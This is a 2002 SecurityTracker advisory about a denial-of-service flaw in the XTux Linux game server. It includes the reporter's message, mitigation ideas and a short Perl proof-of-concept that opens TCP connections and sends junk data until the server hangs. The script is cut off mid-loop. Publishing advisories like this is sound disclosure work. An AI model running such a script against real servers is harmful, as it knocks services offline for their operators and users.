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Category:   Application (Game)  >   XTux Vendors:   Lawrence, Dave
XTux Game Server Denial of Service Bug Lets Remote Users Cause the Game Server to Stop Responding
SecurityTracker Alert ID:  1003793
SecurityTracker URL:
CVE Reference:   GENERIC-MAP-NOMATCH   (Links to External Site)
Date:  Mar 12 2002
Impact:   Denial of service via network
Exploit Included:  Yes  

Description:   A denial of service vulnerability was reported in the XTux game server. A remote user can cause the game server to stop responding.

It is reported that a remote user can telnet to an XTux server and type randome text to cause the server to stop responding.

The vendor has reportedly been notified.

A demonstration exploit script is included in the Source Message.

Impact:   A remote user can cause the XTux game server to stop responding.
Solution:   No solution was available at the time of this entry.
Vendor URL: (Links to External Site)
Cause:   Exception handling error
Underlying OS:  Linux (Any), UNIX (Any)

Message History:   None.

 Source Message Contents

Subject:  xtux server DoS.

After telnetting into a xtux server a few times and typing random stuff I 
noticed the sever stopped responding.  Xtux is a really cool game for linux, 
you should try it.  It also took up 70% cpu before I killed it.  Then coded 
a small perl script to test this, worked everytime I tested.  I emailed the 
author of xtux a few days ago, haven't heard anything yet.  I figure the 
problems that need to be addressed are:

the number of connections from one host. - currently unlimitted.
the total number of connections. - currently unlimitted.
some sort of timeout for the server - currently the client handles timeouts 
but server allows clients to stay connected without doing anything forever.
a fix for when users send garbage (don't make the connection correctly) to 
the server and it becomes unresponcive.

For now I would just set tight firewall rules when you run the xtux server, 
you should know who you are playing with anyways.

Here is that perl script I used to test:

# xtux server DoS - by b0iler
# server will become unresponcive and takes up lots of CPU.

use IO::Socket;

for($n=0;$n<=3;$n++){ #you shouldn't even need all 3 connections.
        print "Connecting to $ARGV[0] port $ARGV[1]\n";
        $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],  PeerPort => 
$ARGV[1], Proto    => 'tcp' ) or print "\ncouldn't connect\n\n";
        sleep 3;
        print $sock "garbage data\n\n";

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